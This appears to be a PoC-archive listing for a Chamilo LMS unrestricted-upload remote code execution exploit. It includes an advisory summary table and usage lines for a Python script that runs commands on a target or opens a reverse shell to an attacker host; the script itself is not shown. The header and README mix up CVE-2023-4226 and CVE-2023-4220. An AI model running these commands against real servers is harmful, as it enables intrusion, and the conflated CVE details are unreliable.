Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-4226 PoC — Chamilo LMS File Upload Functionality Remote Code Execution

Source
Associated Vulnerability
Title:Chamilo LMS File Upload Functionality Remote Code Execution (CVE-2023-4226)
Description:Unrestricted file upload in `/main/inc/ajax/work.ajax.php` in Chamilo LMS <= v1.11.24 allows authenticated attackers with learner role to obtain remote code execution via uploading of PHP files.
Description
POC for CVE-2023-4220 - Chamilo LMS Unauthenticated Big Upload File Remote Code Execution
Readme
# CVE-2023-4220 POC

More about CVE-2023-4220: [StarLabs Advisory](https://starlabs.sg/advisories/23/23-4220/)

## Summary

| **Product**              | Chamilo                                                                                                                                                                                                                                                                                     |
| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Vendor**               | Chamilo                                                                                                                                                                                                                                                                                     |
| **Severity**             | High - Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution.                                                                                                                                                                                    |
| **Affected Versions**    | <= v1.11.24                                                                                                                                                                                                                                                                                 |
| **Tested Versions**      | v1.11.24 (latest version as of writing)                                                                                                                                                                                                                                                     |
| **CVE Identifier**       | CVE-2023-4220                                                                                                                                                                                                                                                                               |
| **CVE Description**      | Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell. |
| **CWE Classification**   | CWE-434: Unrestricted Upload of File with Dangerous Type                                                                                                                                                                                                                                    |
| **CAPEC Classification** | CAPEC-650: Upload a Web Shell to a Web Server                                                                                                                                                                                                                                               |

## Proof of Concept (PoC)

### Execute Commands Directly

To execute commands directly, use the following command:

`python CVE-2023-4226.py -u http://<target_ip>:<target_port> -c whoami`

### Obtain a Reverse Shell

To obtain a reverse shell, use the following command:

`python CVE-2023-4226.py -u http://<target_ip>:<target_port> -lhost <local_ip> -lport <local_port>`
File Snapshot

[4.0K] /data/pocs/6d6e7424f445e1c1bb85da4278844198fbfb33f2 ├── [2.1K] CVE-2023-4226.py └── [3.6K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →